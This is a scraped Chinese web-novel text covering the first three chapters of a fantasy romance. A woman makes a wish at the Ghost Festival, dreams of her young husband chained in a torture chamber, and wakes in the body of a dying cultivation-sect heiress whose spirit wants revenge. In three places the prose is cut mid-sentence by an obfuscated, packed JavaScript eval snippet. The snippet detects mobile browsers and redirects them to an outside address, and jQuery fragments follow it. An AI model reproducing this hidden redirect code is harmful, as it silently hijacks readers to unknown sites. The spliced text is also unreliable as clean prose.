《夫君失忆后成了反派》
1. 倾仙月(一)
今夜色凉如水,黄昏残阳缓缓退,行人手执河灯,相伴于河岸之际,低声絮语影影绰绰。
月情挽着一竹篮,手提一灯笼,穿过巷尾静静走到河岸。
今天是中元节,依着习俗,人们除了敬香烧纸,还会去供一盏河灯,所求家人平安康健,家庭美满和睦。
不过月情并不如何信鬼神,出来也不是为供河灯来许愿,而是找她那半道捡回来的便宜夫君。
他们之间虽则是两情相悦,但并不如何相配。
——他比她足足小了六岁。
正所谓三岁一代沟,五岁一鸿沟,相恋时还无知无觉,但成亲两年后,月情才后知后觉地发现不合适。
…她时常不能搭上他的话,也时常理解不了他的想法。
而外人更是道如若不是因他馋嘴,而她恰恰有一不错的好厨艺,他们这一对儿想必是成不了的,纵然如今在一起了,也决计走不长远。
月情当然不想止步于此,可她总是不能懂他,她努力过,但收效甚微,或许……从一开始,他们之间就是错误。
她闻起风声,思绪渐停,抬起眼眸来,所见唯有河岸边际处一身姿颀长的高挑少年。
他生得一双含情桃花眼,面如白玉所雕,着暗紫长袍,纵然在半幕夜色里,也如此地引人注目。
月情微微失神,又微微垂眸。
是连绝,是她的夫君,是如玉一般美好的少年,也是令她患得患失的罪魁祸首。
他离她并不远,却又很远很远。
月情看着河面上星星点点的河灯,一向不信鬼神之说的她,忽而不知意动从何而来,缓缓双手合十,而闭目许愿:
“鬼神大人,如若你能听见,请让我能有一双能看透连绝的眼,一对听懂连绝的耳……”
须臾安静片刻钟,她的心愿随水而流,喁喁人声渐渐传过来。
月情睁开眼眸。
岸边的豆豆惊道:“连绝哥,你是不是作弊了?你的河灯怎么会飘那么远?”
本也在许愿的少年瞭开眼皮,瞧了眼飘远的河灯,哼笑一声,眉梢扬起,“作弊?我需要作弊?”
他道:“今天可是中元节,中元节是鬼节,而我是鬼大王,我的河灯自然第一。”
“……”
“……?”
“…?!”
这一瞬间,河岸寂静。
残阳逐渐消失在夜色中,面目模糊的行人一一被血月笼罩。
他们浑身僵硬,缓慢转头,表情卡在五官上,眼中是无可形容的呆滞。
连绝浑然不觉,还心情甚好地四处远眺,便见到了离来不远,在朦胧灯火后的月情。
她身在血月之下,月光挥洒而来,氤氲在高架灯笼的暖光里,眼尾艳丽而动,袭来一身暖色,正如有美一人,夺目璀璨。
他不自觉勾起唇角,眼睛都光亮了几分,心情甚好道:“情娘!”
随着他开口,月情手里的灯笼啪地声灭了。
“……”
果然,不管努力多少次,她还是理解不了他!
“月师傅,连绝哥他疯了,为了吹牛,这种…这种大逆不道的话他都敢说!”
豆豆终于醒过神,语气惊颤不已,表情惊恐万分。
月情深深呼吸,嘴角则微微抽搐。
她的确不信鬼神不信中元节,但顶多是不信,连绝不一样,他不仅不信,人家过生辰,他爬上桌子一脚踹下寿星自己当大王。
中元节晚上敢这么说的,全大祁也找不出第二个,而唯一一个,被她给摊上了。
连绝闻言微微挑眉,道:“我没有吹牛……”
唯恐他再说出什么惊世骇俗之语,月情打断道,“他的确并没有吹牛,龟大王,他是出了名的,俗称王八大王,这一点我可以作证。”
话一出,河岸再度一静。
半晌,豆豆才发问,“龟…大王?”
“是的,”月情的语气无比坚定,比磐石还要坚硬,“众所周知连绝是外地人,他的口音很重,听错了很正常,不要多想。”
豆豆扬起困惑的小脸,“可是龟大王和中元节有什么关系?”
月情已经不知道自己在说什么了,“……因为中元节会放河灯,而他不仅是龟大王还是个水王八,是以,才能得第一。”
周遭一静,紧接着响起一阵笑声。
“原来连绝哥是水王八!”
“难怪他的河灯游得那般快!”
小孩们哈哈笑着,纷纷跑偏,七嘴八舌地讨论,又让连绝展示展示他水王八的功力,再放一次河灯。
连绝被冠上水王八的丑名也不生气,仍旧是笑盈盈的模样,只微微挑眉过来,瞧向她,“那我是王八大王,情娘岂不是王八夫人?”
月情:“………”
差点忘了这一茬。
俩人自成亲以来,月情已经是一百次问自己为什么要招赘,这分明是招罪。
她脸上的笑容已然是挂不住了,瞧了眼笑容甚欠的连绝,不由哼了声。
又将带来的竹篮打开,新鲜炸来酥酥脆脆的金黄茄盒一露出来,顿时飘出阵阵油香气,吸引了所有人的目光。
其中最亮的自然是以馋嘴出名的某某。
可月情偏偏就不理他,看都不看他,只将篮子递给豆豆他们,又笑着叮嘱道:“天要黑了,快回家去吧。”
孩子们纷纷扬声道:“谢谢月师傅!”
连绝被排挤在外面,一个香香茄盒都没分到,他眨了下眼,道:“真过分,居然光明正大地孤立我。”
月情道:“谁让你乱说话,不知分寸。若是被路过的小鬼听见状告上去,只怕你我都吃不了兜着走。”
连绝闻言莞尔,轻松道:“这你便放心了,还没有我吃不了的东西,不用兜着走。”
此言当真。
连绝是倾仙楼出了名的扫盘仙人,一顿饭三桶起步吃饱为止,逢年过节,还要再奖励自己半桶,美其名曰高兴。
但是——这是什么很值得炫耀的优点吗?
月情忍不住轻轻掐了他一下,让他老老实实给鬼王道歉,回去了再多供些祭品和香火,态度也需得虔诚些,以求鬼王原谅。
毕竟这种事情,宁可信其有,不可信其无,更何况今时今日正是鬼门大开的中元节。
他顿了下,头顶的光倾泻而来,落入她温柔如水的眼眸中。
她说:“听话。”
他不自觉地低顺下眉眼,轻声依言,又慢慢牵住她微微泛热的手,逐步相扣,依恋地与她再近了一分。
月情并未觉察到他的小动作,还在郑重其事地给鬼王戴高帽子,道:“今日是鬼王的节日,想来他老人家看在这面子上不会同你计较。”
连绝注视着她,闻言挑了下眉,若有所疑地嗯了一声,“为什么他是老人家?说不定人家鬼王英俊非凡,年轻貌美呢?”
他的关注点一向离奇,上次看白娘子排班戏时,旁人都对拆散白娘子与许仙的法海气得牙痒痒,他呢,目不转睛地盯着法海收妖的金钵。
有道是法海的金钵不仅能收妖还能化斋,简直是修仙界出门在外必备法器。
随之由衷赞叹,“法海可真是个贪吃的小机灵鬼。”
众人:“……?”你确定你说得是法海?
月情哪怕与他相识三年,试图理解他两年,但仍旧会被他语不惊人死不休的话给噎住。
她是让他去关注鬼王是否年轻貌美吗?
“非人之物,非人之事,不论年龄,不论男女,”月情语重心长地瞎扯,见他若有所悟,轻轻带了他一下,不许他再胡思乱想,道:“走了,回家了,再不回去,给你做得烤鸭要冷了。”
连绝立时不再纠结,牵住她的手在空中荡了荡,扬唇一笑,“走喽,回家喽。”
他声音轻快,天真烂漫,甚至有些无忧无虑。
在这世间,似乎没有任何事能让他感到烦恼。
月情和他牵着手,一晃又一晃,微微勾了勾唇,心情也快意不少。
她与连绝相识是三年前,而结为夫妻已有两年。
彼时她二十三岁,而他才十七岁。
在这座小镇上,从来没有像月情这样二十多岁才嫁人的姑娘,也没有有手有脚的年轻男子入赘。
总而言之,这桩婚事可谓是惊世骇俗,一时之间,成为了小镇上的饭后闲谈,惹了不少非议与笑话。
但不论有多少人奚落,小两口关起门来过自己的日子也过得有声有色。
虽然,她这位夫君,总是会冒出些不合时宜的惊世之语,她也总是无法完全地理解他,但总体而言挑不出旁的错处。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14950840|160926||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
毕竟连绝年轻,生得又十分俊美,性子热切,阳光爱笑,光是摆在屋子里看着都令人欢喜。
更何况是收入房中做小夫君呢?
**
回去后,众人一道祭祀,告慰先祖求了平安。
夜色翻涌,一轮血月徐徐升上夜空,被乌云遮住了大半。
月情困倦地揉了揉眼,顺手关了窗子,回身时打了个哈欠。
小夫君已经换了寝衣,一头绸缎般的长发垂至脑后,优越的眉眼在烛光下映出几分漂亮的光华,尤其是那张张合合鲜红柔软的唇,让她的心脏微微鼓动。
连绝的缺点很明显,而优点也格外明显。
有这样一张俊美的脸,月情就能将他的小缺点一笔勾销。
“我老家那边有个古老的传说,据说在中元节那一夜,人会梦见另一个世界的鬼魂,甚至通过梦境沉沦在鬼府…”
烛火曳曳,连绝哑着嗓音,徐徐诱人,冷冰冰的手贴过来,似有阴风阵阵。
月情认识他三年,知道他最喜欢各种神仙传说、鬼怪志录、修仙秘法,所以对他这幅神神叨叨的模样早已经免疫。
她并不是很懂,只是微笑着说:“你老家的古怪传说还真不少。”
这已经是他给她讲的第三个了。
连绝轻轻笑了一下,看她的眼睛波光流转,勾唇扬眉一笑,“虽然古怪,但有我在,你都不用害怕。”
“是是是,”虽然不知小夫君又稀奇古怪地在说些什么,但她皆一股脑地点头应是,随之将滚烫的手贴在他冰凉的脸上解暑。
连绝天生体寒,夏夜就是她的降温法宝,每天抱着他睡觉,闷热难当的夜晚也觉得舒适。
这样还不够,她弯着手指托起他的下巴,勾着手指引他过来,轻轻地撩起眼睫,目光有意无意地扫过他柔软的唇角。
少年一顿,喉结轻轻滑动,眼睛愈发水润了些,明明还有想说的话,却情不自禁地被她勾着靠近过来,蛊惑一般半阖起双眸,湿漉漉地看着她。
月情的手指微微用力,扣住他的下巴,俯身去吻冰凉的唇。
“唔……”很快,抵抗的力道消失,变成痴迷的回应。
湿热的吻缠绵加深,相拥的二人落入床榻。
夜色渐深,夏夜的星辰斗转而移,帘帐之后的火热渐渐平息,只余均匀而安详的呼吸声。
黑暗里,一双眼却迟迟不得闭上,幽暗地瞧着已然熟睡的月情。
半晌,那双眼才微微阖上,俯身下去在她额上落下一个冰凉的吻,而后紧紧地拥住了她。
月情微蹙眉,似乎感到了不安,她挣扎了一下,却深深地陷在梦中,动弹不得。
……
那是一个陌生的地下长廊里。
廊中幽暗无光,不见人影,只零零星星地听见流水声。
月情被困在了其中,正疑惑时,忽见一群人在走廊上急行。
那群人来得突然,诡异,就像凭空出现。
梦中之景千奇万变,她并无任何惊异,只本能地随着他们行到了那最深处。
一路而去,灯火如影随形,直至沉重的机关声响起,露出一个赤水环绕的石台。
石台上方绕着几根犹如人臂粗的狰狞铁链,那铁链已被猩红的血染出了锈斑,正紧紧缠着一个一动不动、不知是死是活的男人。
月情不由皱眉。
这是一处见不得光的刑房。
那被吊起来的男人身姿颀长,而肤色若雪,犹若白瓷般炫目,便更显身上鞭痕的狰狞恐怖,再去细看,犹见那破烂皮肉下的白骨。
身后的赤河滚烫翻涌,热浪滚滚,蒸汽腾腾,模模糊糊中,她好似听见了痛苦的低吟。
他竟还活着?
月情诧异,凝眉细听,他低哑着嗓音,如死灰一般。
让人不安。
而更令她感到不安的是,眼前这个被吊起来的男人,异样地眼熟。
想瞧一眼,只是瞧一眼。
她不自觉地被吸引了所有心神,忍不住穿梭过人影,飘过滚烫的赤河,一路走到那男人脚下。
适时,猩红的血从男子额上滴落下来,不巧,滴落进她的眼里。
而血色中,她瞳孔一颤,全身的血液倒流凝结。
那是——
…连绝的脸?!
2. 倾仙月(二)
月情猛地睁开双眼,心口剧烈起伏。
她额上渗出冷汗,大口大口地喘息,动作间却传来一阵剧痛。
月情即刻凝眉捂住胸口,竟是猛地喷出了一口鲜血。
她捂住嘴巴,手指间是黏腻湿热的猩红液体。
她这是…死了吗?
不对,死了应该不会痛。
月情勉强呼吸了一下,抬眼看,才发现自己不在倾仙楼,而是身在一片见所未见,闻所未闻的荒郊野岭。
如果不是胸口剧烈疼痛,月情只怕还以为自己又做了一个恐怖诡异的噩梦。
可若不是梦,那她现在又在什么地方?
这时,一道极细极小的声音突然从耳边杀出,“诈尸了!”
月情整个人定住,而背后莫名起了阵阴风,寒意顿入骨髓。
今天可是中元节。
——鬼门大开,百鬼夜行。
头皮发麻般诡异,她甚至不敢呼吸动作,而手指上黏腻的血已经变得冰冷恶心。
不知多久,一道浅淡的光影隐隐约约地漂浮过来,正对着她的正面,隐约能瞧出人形,月情恍惚地想,这便是鬼差吗?
那光影却并不勾魂,而是骂骂咧咧地看着她道:“你是谁,居然夺舍了我的身体?!”
“夺舍?”月情微微皱眉。
“别装傻,给我滚出来!”光影怒道。
说着,光影猛地朝她撞过来,月情下意识闭眼,半晌过去了也没什么异常,她迟疑地睁开眼。
只见那光影因闯不进来而气急败坏,叫叫嚷嚷。
原来这光影是修仙界净月宗的少宗主,近来正准备在后山闭关修炼,不想一时出了岔子,筋脉俱断走火入魔。
原本已经要魂归于天,却突然看到自己“死去”的身体动了,差点吓个半死。
“不对,我不是半死,是已经死了,”少宗主后知后觉,无比悲伤震惊,“我居然已经死了。”
月情看着她自说自话,呆呆傻傻的模样,感觉并不像索命的恶鬼,倒像她邻居家咋咋呼呼的小黄,常常蹲在后门那吐着舌头,一脸傻气地等人投喂。
但她为什么会夺舍小黄,哦不,净月宗少宗主。
她不是和小夫君搂着睡觉吗?
睡着,还做了一个极其恐怖的噩梦……
月情甚至被那一幕冲击到此刻仍心有余悸,恍惚地分不清眼前这一切究竟是真还是假。
待要细想,心口处突然传来剧痛。
筋脉俱断,走火入魔,她为什么要夺舍这样的身体,这不是给自己找罪受吗?
月情冷汗涔涔,“少宗主,敢问你身上可有什么求救的信号?”
少宗主哼了一声,自信傲娇,“从来都是我去救别人,我可不需要人救。”
“………”
月情看看她连脸都看不清的残魂,再看看眼下自己这个吐了半身血的身体,眉心微微抽搐。
“可我需要人救,”她道。
少宗主缓慢地转了下头,似乎才意识到这个问题。
“可我修炼的后山平时都没什么人来……”她小声念叨着,四周去看,忽而灵光一闪,“要不然,你翻过这山看看?”
月情回头看了眼不远处高耸入云的山峰,陷入了深深的沉默。
她七窍流血,气若游丝,“你是会想办法的。”
“………”
少宗主汗流浃背。
她咳嗽两声,努力补救道:“那你试着往下游走吧,那边草药多,应该有人上山采药。”
应该?
月情深吸了一口气,有种不如现在就去死的冲动。
别无他法,月情只能忍着痛苦从石头上爬下来,沿着潭水找到溪流,借着月光往下流走去。
几步远后,月情忽而闻到一股清透的草木香气,顺着摸到旁边枯树上的断肢,借着月光仔细分辨,那断肢上的切痕平整光滑,摸上去还算湿润,应当不久前有人来过。
月情顿时感到抓住了希望。
不知过去多久,她听到了流水潺潺的响声,凝神细看,那溪边有一个木头搭做的小水车,边上是两三间小木屋。
少宗主从后边追过来,喜道:“是菁华师兄的草药屋!”
终于听到一个好消息,月情缓了口气,撑着随手捡的木头拐杖一步步靠过去。
等走到跟前,月情已经要脱力了,她吐出一口鲜血,啪嗒一声跪倒在木屋门前,用最后的力气拍向大门。
“砰——”
“砰砰——”
“小师妹?”菁华拉开木门,吓了一大跳,嗅到空气中的血腥气,整个人都傻眼了。
他震惊道:“你不是在后山闭关吗?怎么会受这么严重的伤?”
月情动了动唇,无力回答。
菁华连忙给她止血,见她状况太糟糕,赶紧给长老们传音。
不久,一大批人马涌向后山。
速度快到月情只感觉有一道风卷进来,听得乒乒乓乓瓦罐碰撞的响声,就有人精准地掐住了她的脸,将调好的药液灌进去,手法十分娴熟老道,只两个来回,她头不晕,眼不花,身子也不痛了。
她不由心中一震——以前只听说过卖油的老翁惟手熟尔,一滴油都不漏,还是头回见灌药灌得这么娴熟。
莫非,这就是修仙界医修的功力?
也不知道他们这些人会不会看出自己的真实身份。
月情琢磨着抬头看,少宗主残存的光影就在一旁,但进进出出的人没一个察觉出异样。
她顿了一下。
听这少宗主念叨走火入魔,修炼法术,夺舍残魂等等,月情大概能猜到自己应该是来到了某些话本小说中荒诞离奇的修仙界。
而为什么她会如此倒霉地过来……
月情想到什么,忍不住嘶了一声。
男人的嘴,闯祸的鬼。
他们夫妻俩一个被吊起来打,一个惨遭经脉俱断之苦,极有可能是因连绝那番编排鬼王的话。
而她耍的小聪明鬼王也不买账,大手一挥,就让他俩来这地方受罪了。
月情捂住双眼。
如果上天再给她一次机会,她一定会赶在连绝开口前把他的嘴给死死缝上。
门外,医修们调配着药材,一个个面色麻木,手肘如已经调转好的机关人,精确非常。
其中一个双眼发红的医修受不了了,双臂哆嗦,崩溃道:“谁来救救我,我已经十天十夜没合过眼了,今天好不容易能休息,但是——她她她她她又出事了!”
他身旁的医修眼下挂青黑,语气淡淡,“呵呵,修仙界还有比她更喜欢作死的人吗?”
“上次是与妖兽缠斗命悬一线,上上次是路见不平拔刀相助后身负重伤,这次总算待在后山不出门,但为什么,为什么她寻常修炼也能走火入魔,”医修崩溃倒地,疯狂磕头,“姑奶奶,饶了我吧,我是医修,不是阎王爷能画生死簿,您高抬贵手,放小的一马吧!”
另一个医修恍恍惚惚,“半个月内身受三次大伤,为什么憔悴的无力的头晕目眩的是我而不是她?”
韩若歌进来时,就看见他们一群医修在发疯,菁华则站在角落处,不敢打扰师兄们,只默默地收拾屋子里打翻的药罐子。
一见他,如见救星,“韩师叔!”
韩若歌神色冷淡,没有阻止到处发疯的弟子,而是厌烦道:“下次月晚再出事,不要叫我。”
“还有我!”医修们纷纷附和,这时,他们跟商量好似的,一个个转瞬间背起药箱,异口同声道:“菁华师弟啊,我们仙草峰最近发现了一块洞天福地,里头长满了见所未见的草药,大家伙一致决定去研习,短时间,不,十年内都不会回来了,后会无期。”
菁华还没来得及拦他们,门一开,一个个柔弱无力的医修踩着医药箱跟踩风火轮似的,眨眼间消失不见。
他:“……?”
韩若歌同样无语凝噎,为什么仙草峰研习他这个峰主全然不知?
居然把师父留下来做苦力,孽徒,一群孽徒!
这时,一道月白色的影子从外穿进来,冠发上的金月闪烁其中,而脸色沉重焦急,“晚晚她人怎么样了?”
菁华连忙道:“宗主,少宗主并无大碍,已经喝药躺下了。”
木屋的隔音效果并不佳,月情躺在床上足以将外面的声响听个一清二楚。
这老话说得好,吃一堑,长一智,但这少宗主,貌似是吃一堑、再吃一堑、再再再吃一堑……
也算是个奇人了。
少宗主听到后有几分拉不下面子,见月情面色古怪,嘴硬道:“我只是有些倒霉罢了。”
倒霉…罢了?
别人是老天爷赏饭吃,这少宗主是老天爷赏刀子砍,还是追在她屁股后面砍。
能活到这么大,从某种角度而言,简直是奇迹。
月情不由心生佩服。
虚掩
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14950841|160926||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
着的门发出声响,急匆匆赶到的月如龙从外而入。
月情抬眉看他而去,只见一面色苍白、焦急的青年男子快步而进,在黄澄澄的烛光下,他冠发中的金月熠熠生辉,一眼即知地位不凡。
这位应该就是菁华口中的宗主了。
一宗之主,必然法力高强,修为无边,不知道会不会看破她这个冒牌货。
月情心里打鼓。
月如龙靠到床边,见她面无血色,忍住心中气,长叹了声,“你这次闭关,怎么出了这么大岔子?是不是又着急忙慌地仗着自己天赋好乱来一气?”
少宗主本来还对外面诋毁她的人感到不爽,瞧见月如龙过来立即怂了,老老实实回,“我…我明明是踏踏实实地,可…可莫名其妙气息就乱了。”
月如龙却并没有什么反应,一直看着月情,与其余人一般无二,皆未发觉她已经身魂分离,而如今占据这身子的是另外一人。
月情见此,顺驴下坡,学少宗主说话,复述可谓别无二致。
少宗主不由古怪地看了她一眼。
月如龙冷哼了一声并不相信,斥道:“你就不是个踏实的性子。”
他道:“这几个月你老老实实养伤,不许乱跑,不许修炼,把《心经》给我抄个一千遍,什么时候沉稳了,什么时候回前峰。”
少宗主立时委屈大叫,“大伯!”
月如龙按了按自己的眉心,又语重心长地哄她道:“我知道你心怀怨气,但你这经脉破碎不是一时半会儿能养好的,你若是背着我修炼,到时候真出了什么事,十个我也救不回来。”
少宗主焦急不已,反驳道:“可我没有时间了,我要报仇,怎么能不修炼?”
你已经走火入魔变成残魂了,竟然还想着修炼?
是嫌尸体不够凉吗?
月情把话给搁下了,她可不想再吃一堑。
于是折中道,“可我没有时间了,什么时候能养好伤?”
月如龙道:“这个你不用担心,有你韩师叔出手,用不了多久。你只要在这期间乖乖吃药,乖乖休息便足矣。”
月情皱眉道:“不行,我要报仇,”她气势凌人,一口咬定,不容拒绝,“那我养好伤再修炼!”
月如龙第一下还没反应过来,刚要怒,斥责的话又蓦地堵在嗓子眼。
等等,她好像答应了。
被顶撞太多次,这次她顺他的意了,反倒把月如龙给整不会了。
毕竟少宗主一向是个说一不二,任性妄为的性子。但今天,不知是不是因为受伤太重,涉及根本,叫她忌惮,平日里的锋芒已全数敛去,苍白着脸,眼睫搭落遮住乌黑的眼瞳,倒显露出几分少女脆弱来。
虽然表情和语气仍旧很欠揍。
月如龙把嗓子眼里的怒气给吞了回去,再看眼前虚弱的少女,叹息一声,神色复杂,“难得你今日如此听话,我便也放心了。”
少宗主:“?”
什么话?什么话?这是什么话!
她惯来随心所欲,当下就喊,“大伯,你睁开眼睛仔细看看,那根本不是我!”
月情被她吵得头疼,刚一皱眉,就听得月如龙紧张地问:“怎么了?是不是哪里疼?”
她愣了一下,看着他眼中的担忧,微微抿唇。
这…似乎,不仅仅是惩罚那么简单。
而少宗主发泄完就后悔了,她虽然冲动,但也清楚知道自己这一缕残魂已经是无力回天,要么让月情认了她的身份继续装下去,要么两个人玉石俱焚谁也讨不得好。
她又趴在月情身边语无伦次地说道:“等…等等,不要…不要告诉我大伯——他没有孩子,平时把我当亲女儿,他要是知道我死了,一定会疯的。”
月情听到她的声音,心绪复杂,如若这不是惩罚,那这又是什么呢?
月如龙见她迟迟不吭声,面色难为的模样,以为她痛苦不已,一蹙眉,转头回去就要叫韩若歌进来。
“大伯——”月情还是叫住了他,看着他关心的面容,扯起唇角笑了一下,道:“不是疼,是这次的事令我长了个教训。下次我若再要修炼,一定请您在一旁护法。”
月如龙没想到她会这么说,嘴唇哆嗦了一阵子,感动非常,颤了一下,连说了两个好字。
他老泪纵横,十分欣慰道,“你长这么大,我可算是从你嘴里听到句人话了。”
少宗主:“???”
你可真是我亲大伯!
3. 倾仙月(三)
月如龙转身出来时,外间只剩下一个韩若歌。
韩若歌乃是净月宗仙草峰峰主,是个实打实的医修,虽则有一颗医者仁心,却又有一身令人犯怵的冷脾性。
而他平素里最不喜的是每每受伤都闹得命悬一线,且永不知悔改的月晚,但次次给月晚疗伤休养的时候,他却都在。
虽然永远都是冷着张脸,骂骂咧咧。
月如龙知道他这人是出了名的刀子嘴豆腐心,此刻还守在这里,自然也是想得知月晚的情况,心中不可避免地泛起心酸——晚晚这丫头,实在是太不让人省心了。
他叹道,“辛苦了,她已经歇下了。”
韩若歌面色虽不虞,但也没多说什么,叹了声气,神色又凝重起来,问道:“这次动作这么大,鬼王那边可有什么消息?”
最近仙盟在芳华寺展开了一场自上而下的清剿大会,但凡是修仙界里有头有脸的人物都去了,目的便是清剿那只罪恶滔天的恶鬼。
月如龙刚从那里匆匆赶回来,手里握着仙盟第一手的消息。
此刻听到他问,月如龙却摇了摇头,神色谈不上轻松,“鬼王向来阴沉,身在暗处,除了他的爪牙风宁,基本抓不到踪迹。”
韩若歌听到风宁这个名字,眼底划过厌色,又想起什么,道:“这次清剿大会,可要月晚去?”
月如龙听到月晚,头隐隐又痛起来。
他这个侄女,自小就没娘,长了几岁爹也去了,天赋虽出众,却是个冲动易怒的性子,并且因他一向惯着宠着,愈发地无法无天。
若是告知她近日修仙界的动作,月晚必然要闹翻天,说不准冲动之下直接提了寒烟去剿鬼王的老巢。
然后他下次再见到她,大概率青一块紫一块。
不,是东一块西一块。
月如龙顿时眼前发晕,咬牙道:“绝不容许她去!”
**
后山凄清,山谷空幽,哪怕到了正午,也没有太阳暴晒的灼热,待在木屋里,还有几分岁月静好的闲适之意。
月情瞧了眼窗外的风景,昨夜来替她看病的人都离去了,只剩下菁华守在这里照顾她。
早上他刚送了碗药进来,叮嘱她喝下。
月情无有不从,通过昨天一整夜的折腾,她也接受了自己来到这光怪陆离的修仙界的事实。
而想要在这里活下去,找时机回到倾仙楼,光凭她一个对修仙之道一无所知的人是办不到的,还是得仰仗少宗主。
而说来也巧,少宗主竟然与她是同一个姓氏,单名一个晚,今年才十六岁,比连绝还要小上几岁,也难怪行事莽撞冲动。
提及连绝,月情便止不住地想那个奇怪可怖的梦。
他被吊在那水台之上,身上尽是狰狞骇人的伤痕,尤其是那双犹如死灰般的眼眸……
从昨天开始到今天,已经发生了太多离奇古怪的事情。
月情免不了心绪不宁。
她胡思乱想着,连绝还是变成王八大王好了,这个梦,就永远是个梦吧。
——“月情。”
月情回过神,眨了下眼,少宗主已经从犄角旮旯里砖出来了。
她也不太好过,一朝走火入魔变成残魂,是谁都接受不了,可如今却是再不情愿也只得认命。
但想起那血海深仇,她就残魂不宁,不得安息,不肯认命!
少宗主道:“我本来已经死了,如今魂魄不散,是因我大仇未报。你既然占了我的身子,便要替我报仇。”
月情沉默了,她无心在这世界多有纠缠,只想快些回到倾仙楼。
她思考着,“少宗主,夺舍非我本意。可有什么办法,将我送回去,而你也能回到自己身体中。”
少宗主一时没说话,那光影弱了几分,月情看着她,她停了会儿,才闷闷道:“哪有那么容易。”
月情听此,微微压住眉峰。
正想着,少宗主又补充道:“但你若是想回到原来的身体,我也会想办法帮你,毕竟我们如今是为一体。不过在你离开前,你还是得先帮我报仇。”
月情抬眼看向少宗主那一团光影,虽然模糊,但是隐隐勾勒出一个碧玉年华的少女模样。
她不为自己年纪轻轻早逝而惋惜,只因未能报仇而残魂不灭。
月情墨黑的眼眸轻轻浮动。
“好,我答应你。”
少宗主见她如此果断,语气松快几分,当机立断,“那我们现在就去芳华寺!”
“芳华寺?”月情疑惑。
少宗主煞有介事地说:“最近修仙界正在芳华寺商讨如何剿灭鬼王,仙门百家各大能都去了,我当然也要去。”
鬼王?剿灭?
月情嗅到了一丝危险。
这位少宗主可是被老天爷追着赏刀子吃的人,这种场合,真的不是她们俩的断头台吗?
正想着,菁华敲门进来了,他端着盘子,上面是一些晶莹剔透的红果子。
“小师妹,我摘了些红灵果,你快尝尝。”
“谢谢师兄,”月情敛下异色,微微一笑,便伸手拿起那红彤彤的果子咬了口,甘甜的汁水在口腔里爆开,绽放出丝丝缕缕的甜香。
而她嗓子眼里那股苦药味终于被压了下去。
月情忍不住又探出了爪子,菁华见此,立在一旁微微而笑,“多吃一些,不够外面还有。”
少宗主眼见她的手压根不带停,心情莫名微妙,嘟囔,“你先别吃了,问下师兄伤养得如何。”
月情咽下甜美多汁果肉,刚来这里的无助与茫然淡了下去,心情已然好上不少。
她道:“师兄,我的伤养好了吗?”
菁华看她面色红润白皙,白里透粉,不见昨日濒死的死灰样,微笑着说:“有韩师叔出手,自然是养得极好。”
月情展了下手,昨天的不适与痛苦全部消失不见,仿佛从未受过伤。
她心想,少宗主不愧是少宗主,在不断作死的情况下,还能活到这么大,没点本事是不可能的。
少宗主则更郁闷了,她抿着唇瞧“无视”她的菁华,半晌,忍不住小声抱怨道:“大伯看不见我,师兄也看不见我。”
待菁华走后,她赶紧催着月情起身去书架子上拿符纸,道:“我教你画一道心灵感应符——我在这世界上只能和你说话了,你要是不能应我,我要郁闷死。”
月情听到她这话,不由莞尔。
少宗主虽然鲁莽,但的确是小孩心性,性子单纯也怪可爱的,对她全然没有防备不说,听这语气已经俨然把她纳为了自己人。
她依言去拿符纸,将其铺落在桌上,再用了些朱砂,好奇道:“要怎么画?”
“运转灵气,沉心感受,”少宗主说着,见月情拧眉思考,她
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14950842|160926||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
鼓励道:“我以前是信手拈来,你得了我的身子,理应也有我的天赋,随心随意就好。”
月情若有所思地点了点头,待下笔时却已然不同。
她之前听说过一些,知道修仙界有什么符修,符术厉害到能移山填海使五行之力,原以为是极其玄妙,不好参透的一件事,却无比顺畅地画了下去。
一道灵光随之镀上,笔落,而符成。
少宗主喜道:“成了!”
月情笑了下,将符纸落在自己身上,少宗主则一瞬不瞬地看着她。
这符纸是双向的,用了符纸的两方相当于结契,若要传通心意须得念出起先设好的密令。
说起来倒也简单,少宗主却有些担心,因而她只是个弱小残魂,故而害怕这结契于她而言无用。
月情于心中道:“能听见吗?”
少宗主一愣,随之一喜,道:“能听见。”
月情微笑,又温声道:“你再教我些画符的符咒,待会儿在路上说不准有可以用得上的。”
少宗主应了声,两个人即刻在屋子里忙活起来,月情感觉到手指上的灵光愈发地黯淡,少宗主说她这是灵力将要用完了,赶紧休息调理一下,于是又教授了她一套心法。
半个时辰后,月情睁开双眼,轻轻吐出一口浊气。
她感到身体轻盈,却不虚浮,手脚都十分有力,内蕴其中,掂十个大黑锅都毫无问题。
不错,她喜欢。
**
屋外,菁华正在院子里晒药材,他这后山清闲寂静,平日里没什么人,除了昨天夜里因为少宗主的事闹得人仰马翻而短暂地热闹了一阵子。
